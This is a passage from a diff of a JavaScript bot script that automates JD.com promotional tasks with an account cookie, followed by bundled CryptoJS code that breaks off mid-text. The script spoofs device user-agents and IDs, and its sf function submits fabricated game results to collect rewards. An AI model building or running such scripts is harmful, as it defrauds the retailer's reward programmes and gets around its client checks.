//console.log("柠檬赚京豆步数换京豆:2000步"+data.msg) + //await notify.sendNotify(`${$.name} - 柠檬赚京豆步数换京豆`, `京东账号${$.index} ${$.nickName}`+"\n柠檬赚京豆步数换京豆2000步\n步数不足或今日你已经兑换") + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve() + } + }) + },timeout) + }) +} +function task(timeout = 0) { + + return new Promise((resolve) => { + setTimeout( ()=>{ + let url = { + url : `https://api.m.jd.com/api?body=&clientVersion=8.8.8&uuid=86763302131156838bc92874434&client=H5&appid=zuma-web&functionId=activity_taskInfo`, + headers: { + "Host": "api.m.jd.com", + "Origin": "https://jingqih5.m.jd.com", + "Cookie": cookie, + "User-Agent": "jdapp;iPhone;9.5.2;14.3;6898c30638c55142969304c8e2167997fa59eb53;network/4g;ADID/F108E1B6-8E30-477C-BE54-87CF23435488;supportApplePay/0;hasUPPay/0;hasOCPay/0;model/iPhone9,2;addressid/4585826605;supportBestPay/0;appBuild/167650;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + } + + } + + $.get(url, async (err, resp, data) => { + try { + //console.log(url.url) + //console.log(data) + data = JSON.parse(data); + // url = data.taskInfo.allValues.value + console.log(url) + //await notify.sendNotify(`${$.name} - 柠檬jxgc`, `京东账号${$.index} ${$.nickName}`+"电动车制造:"+data) + if (data.code === 0) { + // console.log("柠檬赚京豆步数换京豆:2000步"+data.msg) + //await notify.sendNotify(`${$.name} - 柠檬赚京豆步数换京豆`, `京东账号${$.index} ${$.nickName}`+"\n柠檬赚京豆步数换京豆:2000步\n"+data.msg) + } else { + //console.log("柠檬赚京豆步数换京豆:2000步"+data.msg) + //await notify.sendNotify(`${$.name} - 柠檬赚京豆步数换京豆`, `京东账号${$.index} ${$.nickName}`+"\n柠檬赚京豆步数换京豆2000步\n步数不足或今日你已经兑换") + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve() + } + }) + },timeout) + }) +} + + + + + +function rank(timeout = 0) { + + return new Promise((resolve) => { + setTimeout( ()=>{ + let url = { + url : `https://api.m.jd.com/api?body=&clientVersion=8.8.8&uuid=86763302131156838bc92874434&client=H5&appid=zuma-web&functionId=activity_info`, + headers: { + "Host": "api.m.jd.com", + "Origin": "https://jingqih5.m.jd.com", + "Cookie": cookie, + "User-Agent": "jdapp;iPhone;9.5.2;14.3;6898c30638c55142969304c8e2167997fa59eb53;network/4g;ADID/F108E1B6-8E30-477C-BE54-87CF23435488;supportApplePay/0;hasUPPay/0;hasOCPay/0;model/iPhone9,2;addressid/4585826605;supportBestPay/0;appBuild/167650;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + } + + } + + $.get(url, async (err, resp, data) => { + try { + //console.log(url.url) + //console.log(data) startTime":"2021-05-31 00:00:00"," + const result = JSON.parse(data); + score = data.match(/"score":(.*?),/)[1] + pm = data.match(/rank":"(.*?)","/)[1] + kssj = data.match(/startTime":"(.*?)","/)[1] + jssj = data.match(/endTime":"(.*?)","/)[1] + //$.log(result) + //$.log(result.score) + //await notify.sendNotify(`${$.name} - 柠檬jxgc`, `京东账号${$.index} ${$.nickName}`+"电动车制造:"+data) + if (result.errorCode === 0) { + $.log("\n柠檬东东泡泡大战,今日任务已完成\n") + $.log("\n当前个人积分:"+score+"\n当前个人排名:"+pm) + $.log("\n开始时间:"+kssj+"\n结束时间:"+jssj) + //allMessage += `${$.name} - 柠檬东东泡泡大战`, `京东账号${$.index} ${$.nickName}`+`\n柠檬东东泡泡大战,今日任务已完成\n`+`\n当前个人积分:`+score+`\n当前个人排名:`+pm+`\n开始时间:`+kssj+`\n结束时间:`+jssj + //allMessage += `京东账号${$.index}-${$.nickName || $.UserName}\n柠檬东东泡泡大战,今日任务已完成\n当前个人积分:score\n当前个人排名:pm\n开始时间:kssj\n结束时间:jssj${$.index !== cookiesArr.length ? '\n\n' : '\n\n'}`; +} else { + + //console.log("柠檬赚京豆步数换京豆:2000步"+data.msg) + //await notify.sendNotify(`${$.name} - 柠檬赚京豆步数换京豆`, `京东账号${$.index} ${$.nickName}`+"\n柠檬赚京豆步数换京豆2000步\n步数不足或今日你已经兑换") + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve() + } + }) + },timeout) + }) +} + + + +function sf(timeout = 0) { +shuju = `{"ts":+ts,"token":+token,"maxRound":1,"eggRoundCount":0,"roundStars":{"1":4}}` + + return new Promise((resolve) => { + setTimeout( ()=>{ + let url = { + url : `https://api.m.jd.com/api?appid=orderCenter&functionId=picker_submitResult&clientVersion=8.0.0&client=m&body=`+a(shuju), + headers: { + "referer": "https://jingqih5.m.jd.com", + "Origin": "https://jingqih5.m.jd.com", + "Cookie": cookie, + "User-Agent": "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36 Edg/89.0.774.68", + } + + } + + $.get(url, async (err, resp, data) => { + try { + //console.log(url.url) + console.log(data) + //startTime":"2021-05-31 00:00:00"," + const result = JSON.parse(data); + //token = data.match(/token":"(.*?)"/)[1] + //ts = data.match(/ts":(.*?)}/)[1] + //kssj = data.match(/startTime":"(.*?)","/)[1] + //jssj = data.match(/endTime":"(.*?)","/)[1] + //$.log(result) + //$.log(result.score) + //await notify.sendNotify(`${$.name} - 柠檬jxgc`, `京东账号${$.index} ${$.nickName}`+"电动车制造:"+data) + if (result.status === 0) { + //$.log(token); + $.log(ts); + //$.log("\n当前个人积分:"+score+"\n当前个人排名:"+pm) + // $.log("\n开始时间:"+kssj+"\n结束时间:"+jssj) + //await notify.sendNotify(`${$.name} - 柠檬东东泡泡大战`, `京东账号${$.index} ${$.nickName}`+`\n柠檬东东泡泡大战,今日任务已完成\n`+`\n当前个人积分:`+score+`\n当前个人排名:`+pm+`\n开始时间:`+kssj+`\n结束时间:`+jssj) + } else { + //console.log("柠檬赚京豆步数换京豆:2000步"+data.msg) + //await notify.sendNotify(`${$.name} - 柠檬赚京豆步数换京豆`, `京东账号${$.index} ${$.nickName}`+"\n柠檬赚京豆步数换京豆2000步\n步数不足或今日你已经兑换") + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve() + } + }) + },timeout) + }) +} +function info(timeout = 0) { + + return new Promise((resolve) => { + setTimeout( ()=>{ + let url = { + url : `https://api.m.jd.com/api?appid=orderCenter&functionId=picker_getUserInfo&clientVersion=8.0.0&client=m&body=5GlOj7xTF%2Fw%3D`, + headers: { + "referer": "https://jingqih5.m.jd.com", + "Origin": "https://jingqih5.m.jd.com", + "Cookie": cookie, + "User-Agent": "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36 Edg/89.0.774.68", + } + + } + + $.get(url, async (err, resp, data) => { + try { + //console.log(url.url) + //console.log(data) startTime":"2021-05-31 00:00:00"," + const result = JSON.parse(data); + token = data.match(/token":"(.*?)"/)[1] + ts = data.match(/ts":(.*?)}/)[1] + //kssj = data.match(/startTime":"(.*?)","/)[1] + //jssj = data.match(/endTime":"(.*?)","/)[1] + //$.log(result) + //$.log(result.score) + //await notify.sendNotify(`${$.name} - 柠檬jxgc`, `京东账号${$.index} ${$.nickName}`+"电动车制造:"+data) + if (result.status === 0) { + //$.log(token); + $.log(ts); + //$.log("\n当前个人积分:"+score+"\n当前个人排名:"+pm) + // $.log("\n开始时间:"+kssj+"\n结束时间:"+jssj) + //await notify.sendNotify(`${$.name} - 柠檬东东泡泡大战`, `京东账号${$.index} ${$.nickName}`+`\n柠檬东东泡泡大战,今日任务已完成\n`+`\n当前个人积分:`+score+`\n当前个人排名:`+pm+`\n开始时间:`+kssj+`\n结束时间:`+jssj) + } else { + //console.log("柠檬赚京豆步数换京豆:2000步"+data.msg) + //await notify.sendNotify(`${$.name} - 柠檬赚京豆步数换京豆`, `京东账号${$.index} ${$.nickName}`+"\n柠檬赚京豆步数换京豆2000步\n步数不足或今日你已经兑换") + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve() + } + }) + },timeout) + }) +} + + +function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data["retcode"] === 13) { + $.isLogin = false; //cookie过期 + return; + } + if (data["retcode"] === 0) { + $.nickName = (data["base"] && data["base"].nickname) || $.UserName; + } else { + $.nickName = $.UserName; + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} + + +function CryptoJSs(){var t=t||function(t,e){var i=Object.create||function(){function t(){} +return function(e){var i;return t.prototype=e,i=new t,t.prototype=null,i}}(),n={},r=n.lib={},c=r.Base=function(){return{extend:function(t){var e=i(this);return t&&e.mixIn(t),e.hasOwnProperty("init")&&this.init!==e.init||(e.init=function(){e.$super.init.apply(this,arguments)}),e.init.prototype=e,e.$super=this,e},create:function(){var t=this.extend();return t.init.apply(t,arguments),t},init:function(){},mixIn:function(t){for(var e in t) +t.hasOwnProperty(e)&&(this[e]=t[e]);t.hasOwnProperty("toString")&&(this.toString=t.toString)},clone:function(){return this.init.prototype.extend(this)}}}(),o=r.WordArray=c.extend({init:function(t,e){t=this.words=t||[],this.sigBytes=void 0!=e?e:4*t.length},toString:function(t){return(t||s).stringify(this)},concat:function(t){var e=this.words,i=t.words,n=this.sigBytes,r=t.sigBytes;if(this.clamp(),n%4) +for(var c=0;c>>2]>>>24-c%4*8&255;e[n+c>>>2]|=o<<24-(n+c)%4*8}else +for(var c=0;c>>2]=i[c>>>2];return this.sigBytes+=r,this},clamp:function(){var e=this.words,i=this.sigBytes;e[i>>>2]&=4294967295<<32-i%4*8,e.length=t.ceil(i/4)},clone:function(){var t=c.clone.call(this);return t.words=this.words.slice(0),t},random:function(e){for(var i,n=[],r=0;r>16)&n,e=18e3*(65535&e)+(e>>16)&n;var r=(i<<16)+e&n;return r/=4294967296,(r+=.5)*(t.random()>.5?1:-1)}}(4294967296*(i||t.random()));i=987654071*c(),n.push(4294967296*c()|0)} +return new o.init(n,e)}}),a=n.enc={},s=a.Hex={stringify:function(t){for(var e=t.words,i=t.sigBytes,n=[],r=0;r>>2]>>>24-r%4*8&255;n.push((c>>>4).toString(16)),n.push((15&c).toString(16))} +return n.join("")},parse:function(t){for(var e=t.length,i=[],n=0;n>>3]|=parseInt(t.substr(n,2),16)<<24-n%8*4;return new o.init(i,e/2)}},l=a.Latin1={stringify:function(t){for(var e=t.words,i=t.sigBytes,n=[],r=0;r>>2]>>>24-r%4*8&255;n.push(String.fromCharCode(c))} +return n.join("")},parse:function(t){for(var e=t.length,i=[],n=0;n>>2]|=(255&t.charCodeAt(n))<<24-n%4*8;return new o.init(i,e)}},h=a.Utf8={stringify:function(t){try{return decodeURIComponent(escape(l.stringify(t)))}catch(t){throw new Error("Malformed UTF-8 data")}},parse:function(t){return l.parse(unescape(encodeURIComponent(t)))}},u=r.BufferedBlockAlgorithm=c.extend({reset:function(){this._data=new o.init,this._nDataBytes=0},_append:function(t){"string"==typeof t&&(t=h.parse(t)),this._data.concat(t),this._nDataBytes+=t.sigBytes},_process:function(e){var i=this._data,n=i.words,r=i.sigBytes,c=this.blockSize,a=4*c,s=r/a;s=e?t.ceil(s):t.max((0|s)-this._minBufferSize,0);var l=s*c,h=t.min(4*l,r);if(l){for(var u=0;u>>6-o%4*2;n[c>>>2]|=(a|s)<<24-c%4*8,c++} +return r.create(n,c)} +var i=t,n=i.lib,r=n.WordArray;i.enc.Base64={stringify:function(t){var e=t.words,i=t.sigBytes,n=this._map;t.clamp();for(var r=[],c=0;c>>2]>>>24-c%4*8&255,a=e[c+1>>>2]>>>24-(c+1)%4*8&255,s=e[c+2>>>2]>>>24-(c+2)%4*8&255,l=o<<16|a<<8|s,h=0;h<4&&c+.75*h>>6*(3-h)&63));var u=n.charAt(64);if(u) +for(;r.length%4;) +r.push(u);return r.join("")},parse:function(t){var i=t.length,n=this._map,r=this._reverseMap;if(!r){r=this._reverseMap=[];for(var c=0;c>>32-c)+e} +function n(t,e,i,n,r,c,o){var a=t+(e&n|i&~n)+r+o;return(a<>>32-c)+e} +function r(t,e,i,n,r,c,o){var a=t+(e^i^n)+r+o;return(a<>>32-c)+e} +function c(t,e,i,n,r,c,o){var a=t+(i^(e|~n))+r+o;return(a<>>32-c)+e} +var o=t,a=o.lib,s=a.WordArray,l=a.Hasher,h=o.algo,u=[];!function(){for(var t=0;t<64;t++) +u[t]=4294967296*e.abs(e.sin(t+1))|0}();var d=h.MD5=l.extend({_doReset:function(){this._hash=new s.init([1732584193,4023233417,2562383102,271733878])},_doProcessBlock:function(t,e){for(var o=0;o<16;o++){var a=e+o,s=t[a];t[a]=16711935&(s<<8|s>>>24)|4278255360&(s<<24|s>>>8)} +var l=this._hash.words,h=t[e+0],d=t[e+1],_=t[e+2],p=t[e+3],f=t[e+4],g=t[e+5],m=t[e+6],T=t[e+7],v=t[e+8],y=t[e+9],S=t[e+10],C=t[e+11],E=t[e+12],P=t[e+13],A=t[e+14],x=t[e+15],I=l[0],R=l[1],b=l[2],O=l[3];I=i(I,R,b,O,h,7,u[0]),O=i(O,I,R,b,d,12,u[1]),b=i(b,O,I,R,_,17,u[2]),R=i(R,b,O,I,p,22,u[3]),I=i(I,R,b,O,f,7,u[4]),O=i(O,I,R,b,g,12,u[5]),b=i(b,O,I,R,m,17,u[6]),R=i(R,b,O,I,T,22,u[7]),I=i(I,R,b,O,v,7,u[8]),O=i(O,I,R,b,y,12,u[9]),b=i(b,O,I,R,S,17,u[10]),R=i(R,b,O,I,C,22,u[11]),I=i(I,R,b,O,E,7,u[12]),O=i(O,I,R,b,P,12,u[13]),b=i(b,O,I,R,A,17,u[14]),R=i(R,b,O,I,x,22,u[15]),I=n(I,R,b,O,d,5,u[16]),O=n(O,I,R,b,m,9,u[17]),b=n(b,O,I,R,C,14,u[18]),R=n(R,b,O,I,h,20,u[19]),I=n(I,R,b,O,g,5,u[20]),O=n(O,I,R,b,S,9,u[21]),b=n(b,O,I,R,x,14,u[22]),R=n(R,b,O,I,f,20,u[23]),I=n(I,R,b,O,y,5,u[24]),O=n(O,I,R,b,A,9,u[25]),b=n(b,O,I,R,p,14,u[26]),R=n(R,b,O,I,v,20,u[27]),I=n(I,R,b,O,P,5,u[28]),O=n(O,I,R,b,_,9,u[29]),b=n(b,O,I,R,T,14,u[30]),R=n(R,b,O,I,E,20,u[31]),I=r(I,R,b,O,g,4,u[32]),O=r(O,I,R,b,v,11,u[33]),b=r(b,O,I,R,C,16,u[34]),R=r(R,b,O,I,A,23,u[35]),I=r(I,R,b,O,d,4,u[36]),O=r(O,I,R,b,f,11,u[37]),b=r(b,O,I,R,T,16,u[38]),R=r(R,b,O,I,S,23,u[39]),I=r(I,R,b,O,P,4,u[40]),O=r(O,I,R,b,h,11,u[41]),b=r(b,O,I,R,p,16,u[42]),R=r(R,b,O,I,m,23,u[43]),I=r(I,R,b,O,y,4,u[44]),O=r(O,I,R,b,E,11,u[45]),b=r(b,O,I,R,x,16,u[46]),R=r(R,b,O,I,_,23,u[47]),I=c(I,R,b,O,h,6,u[48]),O=c(O,I,R,b,T,10,u[49]),b=c(b,O,I,R,A,15,u[50]),R=c(R,b,O,I,g,21,u[51]),I=c(I,R,b,O,E,6,u[52]),O=c(O,I,R,b,p,10,u[53]),b=c(b,O,I,R,S,15,u[54]),R=c(R,b,O,I,d,21,u[55]),I=c(I,R,b,O,v,6,u[56]),O=c(O,I,R,b,x,10,u[57]),b=c(b,O,I,R,m,15,u[58]),R=c(R,b,O,I,P,21,u[59]),I=c(I,R,b,O,f,6,u[60]),O=c(O,I,R,b,C,10,u[61]),b=c(b,O,I,R,_,15,u[62]),R=c(R,b,O,I,y,21,u[63]),l[0]=l[0]+I|0,l[1]=l[1]+R|0,l[2]=l[2]+b|0,l[3]=l[3]+O|0},_doFinalize:function(){var t=this._data,i=t.words,n=8*this._nDataBytes,r=8*t.sigBytes;i[r>>>5]|=128<<24-r%32;var c=e.floor(n/4294967296),o=n;i[15+(r+64>>>9<<4)]=16711935&(c<<8|c>>>24)|4278255360&(c<<24|c>>>8),i[14+(r+64>>>9<<4)]=16711935&(o<<8|o>>>24)|4278255360&(o<<24|o>>>8),t.sigBytes=4*(i.length+1),this._process();for(var a=this._hash,s=a.words,l=0;l<4;l++){var h=s[l];s[l]=16711935&(h<<8|h>>>24)|4278255360&(h<<24|h>>>8)} +return a},clone:function(){var t=l.clone.call(this);return t._hash=this._hash.clone(),t}});o.MD5=l._createHelper(d),o.HmacMD5=l._createHmacHelper(d)}(Math),function(){var e=t,i=e.lib,n=i.WordArray,r=i.Hasher,c=e.algo,o=[],a=c.SHA1=r.extend({_doReset:function(){this._hash=new n.init([1732584193,4023233417,2562383102,271733878,3285377520])},_doProcessBlock:function(t,e){for(var i=this._hash.words,n=i[0],r=i[1],c=i[2],a=i[3],s=i[4],l=0;l<80;l++){if(l<16) +o[l]=0|t[e+l];else{var h=o[l-3]^o[l-8]^o[l-14]^o[l-16];o[l]=h<<1|h>>>31} +var u=(n<<5|n>>>27)+s+o[l];u+=l<20?1518500249+(r&c|~r&a):l<40?1859775393+(r^c^a):l<60?(r&c|r&a|c&a)-1894007588:(r^c^a)-899497514,s=a,a=c,c=r<<30|r>>>2,r=n,n=u} +i[0]=i[0]+n|0,i[1]=i[1]+r|0,i[2]=i[2]+c|0,i[3]=i[3]+a|0,i[4]=i[4]+s|0},_doFinalize:function(){var t=this._data,e=t.words,i=8*this._nDataBytes,n=8*t.sigBytes;return e[n>>>5]|=128<<24-n%32,e[14+(n+64>>>9<<4)]=Math.floor(i/4294967296),e[15+(n+64>>>9<<4)]=i,t.sigBytes=4*e.length,this._process(),this._hash},clone:function(){var t=r.clone.call(this);return t._hash=this._hash.clone(),t}});e.SHA1=r._createHelper(a),e.HmacSHA1=r._createHmacHelper(a)}(),function(e){var i=t,n=i.lib,r=n.WordArray,c=n.Hasher,o=i.algo,a=[],s=[];!function(){function t(t){return 4294967296*(t-(0|t))|0} +for(var i=2,n=0;n<64;) +(function(t){for(var i=e.sqrt(t),n=2;n<=i;n++) +if(!(t%n)) +return!1;return!0})(i)&&(n<8&&(a[n]=t(e.pow(i,.5))),s[n]=t(e.pow(i,1/3)),n++),i++}();var l=[],h=o.SHA256=c.extend({_doReset:function(){this._hash=new r.init(a.slice(0))},_doProcessBlock:function(t,e){for(var i=this._hash.words,n=i[0],r=i[1],c=i[2],o=i[3],a=i[4],h=i[5],u=i[6],d=i[7],_=0;_<64;_++){if(_<16) +l[_]=0|t[e+_];else{var p=l[_-15],f=(p<<25|p>>>7)^(p<<14|p>>>18)^p>>>3,g=l[_-2],m=(g<<15|g>>>17)^(g<<13|g>>>19)^g>>>10;l[_]=f+l[_-7]+m+l[_-16]} +var T=a&h^~a&u,v=n&r^n&c^r&c,y=(n<<30|n>>>2)^(n<<19|n>>>13)^(n<<10|n>>>22),S=(a<<26|a>>>6)^(a<<21|a>>>11)^(a<<7|a>>>25),C=d+S+T+s[_]+l[_],E=y+v;d=u,u=h,h=a,a=o+C|0,o=c,c=r,r=n,n=C+E|0} +i[0]=i[0]+n|0,i[1]=i[1]+r|0,i[2]=i[2]+c|0,i[3]=i[3]+o|0,i[4]=i[4]+a|0,i[5]=i[5]+h|0,i[6]=i[6]+u|0,i[7]=i[7]+d|0},_doFinalize:function(){var t=this._data,i=t.words,n=8*this._nDataBytes,r=8*t.sigBytes;return i[r>>>5]|=128<<24-r%32,i[14+(r+64>>>9<<4)]=e.floor(n/4294967296),i[15+(r+64>>>9<<4)]=n,t.sigBytes=4*i.length,this._process(),this._hash},clone:function(){var t=c.clone.call(this);return t._hash=this._hash.clone(),t}});i.SHA256=c._createHelper(h),i.HmacSHA256=c._createHmacHelper(h)}(Math),function(){function e(t){return t<<8&4278255360|t>>>8&16711935} +var i=t,n=i.lib,r=n.WordArray,c=i.enc;c.Utf16=c.Utf16BE={stringify:function(t){for(var e=t.words,i=t.sigBytes,n=[],r=0;r>>2]>>>16-r%4*8&65535;n.push(String.fromCharCode(c))} +return n.join("")},parse:function(t){for(var e=t.length,i=[],n=0;n>>1]|=t.charCodeAt(n)<<16-n%2*16;return r.create(i,2*e)}},c.Utf16LE={stringify:function(t){for(var i=t.words,n=t.sigBytes,r=[],c=0;c>>2]>>>16-c%4*8&65535);r.push(String.fromCharCode(o))} +return r.join("")},parse:function(t){for(var i=t.length,n=[],c=0;c>>1]|=e(t.charCodeAt(c)<<16-c%2*16);return r.create(n,2*i)}}}(),function(){if("function"==typeof ArrayBuffer){var e=t,i=e.lib,n=i.WordArray,r=n.init;(n.init=function(t){if(t instanceof ArrayBuffer&&(t=new Uint8Array(t)),(t instanceof Int8Array||"undefined"!=typeof Uint8ClampedArray&&t instanceof Uint8ClampedArray||t instanceof Int16Array||t instanceof Uint16Array||t instanceof Int32Array||t instanceof Uint32Array||t instanceof Float32Array||t instanceof Float64Array)&&(t=new Uint8Array(t.buffer,t.byteOffset,t.byteLength)),t instanceof Uint8Array){for(var e=t.byteLength,i=[],n=0;n>>2]|=t[n]<<24-n%4*8;r.call(this,i,e)}else +r.apply(this,arguments)}).prototype=n}}(),function(e){function i(t,e,i){return t^e^i} +function n(t,e,i){return t&e|~t&i} +function r(t,e,i){return(t|~e)^i} +function c(t,e,i){return t&i|e&~i} +function o(t,e,i){return t^(e|~i)} +function a(t,e){return t<>>32-e} +var s=t,l=s.lib,h=l.WordArray,u=l.Hasher,d=s.algo,_=h.create([0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,7,4,13,1,10,6,15,3,12,0,9,5,2,14,11,8,3,10,14,4,9,15,8,1,2,7,0,6,13,11,5,12,1,9,11,10,0,8,12,4,13,3,7,15,14,5,6,2,4,0,5,9,7,12,2,10,14,1,3,8,11,6,15,13]),p=h.create([5,14,7,0,9,2,11,4,13,6,15,8,1,10,3,12,6,11,3,7,0,13,5,10,14,15,8,12,4,9,1,2,15,5,1,3,7,14,6,9,11,8,12,2,10,0,4,13,8,6,4,1,3,11,15,0,5,12,2,13,9,7,10,14,12,15,10,4,1,5,8,7,6,2,13,14,0,3,9,11]),f=h.create([11,14,15,12,5,8,7,9,11,13,14,15,6,7,9,8,7,6,8,13,11,9,7,15,7,12,15,9,11,7,13,12,11,13,6,7,14,9,13,15,14,8,13,6,5,12,7,5,11,12,14,15,14,15,9,8,9,14,5,6,8,6,5,12,9,15,5,11,6,8,13,12,5,12,13,14,11,8,5,6]),g=h.create([8,9,9,11,13,15,15,5,7,7,8,11,14,14,12,6,9,13,15,7,12,8,9,11,7,7,12,7,6,15,13,11,9,7,15,11,8,6,6,14,12,13,5,14,13,13,7,5,15,5,8,11,14,14,6,14,6,9,12,9,12,5,15,8,8,5,12,9,12,5,14,6,8,13,6,5,15,13,11,11]),m=h.create([0,1518500249,1859775393,2400959708,2840853838]),T=h.create([1352829926,1548603684,1836072691,2053994217,0]),v=d.RIPEMD160=u.extend({_doReset:function(){this._hash=h.create([1732584193,4023233417,2562383102,271733878,3285377520])},_doProcessBlock:function(t,e){for(var s=0;s<16;s++){var l=e+s,h=t[l];t[l]=16711935&(h<<8|h>>>24)|4278255360&(h<<24|h>>>8)} +var u,d,v,y,S,C,E,P,A,x,I=this._hash.words,R=m.words,b=T.words,O=_.words,w=p.words,L=f.words,F=g.words;C=u=I[0],E=d=I[1],P=v=I[2],A=y=I[3],x=S=I[4];for(var N,s=0;s<80;s+=1) +N=u+t[e+O[s]]|0,N+=s<16?i(d,v,y)+R[0]:s<32?n(d,v,y)+R[1]:s<48?r(d,v,y)+R[2]:s<64?c(d,v,y)+R[3]:o(d,v,y)+R[4],N|=0,N=a(N,L[s]),N=N+S|0,u=S,S=y,y=a(v,10),v=d,d=N,N=C+t[e+w[s]]|0,N+=s<16?o(E,P,A)+b[0]:s<32?c(E,P,A)+b[1]:s<48?r(E,P,A)+b[2]:s<64?n(E,P,A)+b[3]:i(E,P,A)+b[4],N|=0,N=a(N,F[s]),N=N+x|0,C=x,x=A,A=a(P,10),P=E,E=N;N=I[1]+v+A|0,I[1]=I[2]+y+x|0,I[2]=I[3]+S+C|0,I[3]=I[4]+u+E|0,I[4]=I[0]+d+P|0,I[0]=N},_doFinalize:function(){var t=this._data,e=t.words,i=8*this._nDataBytes,n=8*t.sigBytes;e[n>>>5]|=128<<24-n%32,e[14+(n+64>>>9<<4)]=16711935&(i<<8|i>>>24)|4278255360&(i<<24|i>>>8),t.sigBytes=4*(e.length+1),this._process();for(var r=this._hash,c=r.words,o=0;o<5;o++){var a=c[o];c[o]=16711935&(a<<8|a>>>24)|4278255360&(a<<24|a>>>8)} +return r},clone:function(){var t=u.clone.call(this);return t._hash=this._hash.clone(),t}});s.RIPEMD160=u._createHelper(v),s.HmacRIPEMD160=u._createHmacHelper(v)}(Math),function(){var e=t,i=e.lib,n=i.Base,r=e.enc,c=r.Utf8;e.algo.HMAC=n.extend({init:function(t,e){t=this._hasher=new t.init,"string"==typeof e&&(e=c.parse(e));var i=t.blockSize,n=4*i;e.sigBytes>n&&(e=t.finalize(e)),e.clamp();for(var r=this._oKey=e.clone(),o=this._iKey=e.clone(),a=r.words,s=o.words,l=0;l>>24)|4278255360&(c<<24|c>>>8),o=16711935&(o<<8|o>>>24)|4278255360&(o<<24|o>>>8);var a=i[r];a.high^=o,a.low^=c} +for(var s=0;s<24;s++){for(var _=0;_<5;_++){for(var p=0,f=0,g=0;g<5;g++){var a=i[_+5*g];p^=a.high,f^=a.low} +var m=d[_];m.high=p,m.low=f} +for(var _=0;_<5;_++) +for(var T=d[(_+4)%5],v=d[(_+1)%5],y=v.high,S=v.low,p=T.high^(y<<1|S>>>31),f=T.low^(S<<1|y>>>31),g=0;g<5;g++){var a=i[_+5*g];a.high^=p,a.low^=f} +for(var C=1;C<25;C++){var a=i[C],E=a.high,P=a.low,A=l[C];if(A<32) +var p=E<>>32-A,f=P<>>32-A;else +var p=P<>>64-A,f=E<>>64-A;var x=d[h[C]];x.high=p,x.low=f} +var I=d[0],R=i[0];I.high=R.high,I.low=R.low;for(var _=0;_<5;_++) +for(var g=0;g<5;g++){var C=_+5*g,a=i[C],b=d[C],O=d[(_+1)%5+5*g],w=d[(_+2)%5+5*g];a.high=b.high^~O.high&w.high,a.low=b.low^~O.low&w.low} +var a=i[0],L=u[s];a.high^=L.high,a.low^=L.low}},_doFinalize:function(){var t=this._data,i=t.words,n=(this._nDataBytes,8*t.sigBytes),c=32*this.blockSize;i[n>>>5]|=1<<24-n%32,i[(e.ceil((n+1)/c)*c>>>5)-1]|=128,t.sigBytes=4*i.length,this._process();for(var o=this._state,a=this.cfg.outputLength/8,s=a/8,l=[],h=0;h>>24)|4278255360&(d<<24|d>>>8),_=16711935&(_<<8|_>>>24)|4278255360&(_<<24|_>>>8),l.push(_),l.push(d)} +return new r.init(l,a)},clone:function(){for(var t=c.clone.call(this),e=t._state=this._state.slice(0),i=0;i<25;i++) +e[i]=e[i].clone();return t}});i.SHA3=c._createHelper(_),i.HmacSHA3=c._createHmacHelper(_)}(Math),function(){function e(){return o.create.apply(o,arguments)} +var i=t,n=i.lib,r=n.Hasher,c=i.x64,o=c.Word,a=c.WordArray,s=i.algo,l=[e(1116352408,3609767458),e(1899447441,602891725),e(3049323471,3964484399),e(3921009573,2173295548),e(961987163,4081628472),e(1508970993,3053834265),e(2453635748,2937671579),e(2870763221,3664609560),e(3624381080,2734883394),e(310598401,1164996542),e(607225278,1323610764),e(1426881987,3590304994),e(1925078388,4068182383),e(2162078206,991336113),e(2614888103,633803317),e(3248222580,3479774868),e(3835390401,2666613458),e(4022224774,944711139),e(264347078,2341262773),e(604807628,2007800933),e(770255983,1495990901),e(1249150122,1856431235),e(1555081692,3175218132),e(1996064986,2198950837),e(2554220882,3999719339),e(2821834349,766784016),e(2952996808,2566594879),e(3210313671,3203337956),e(3336571891,1034457026),e(3584528711,2466948901),e(113926993,3758326383),e(338241895,168717936),e(666307205,1188179964),e(773529912,1546045734),e(1294757372,1522805485),e(1396182291,2643833823),e(1695183700,2343527390),e(1986661051,1014477480),e(2177026350,1206759142),e(2456956037,344077627),e(27304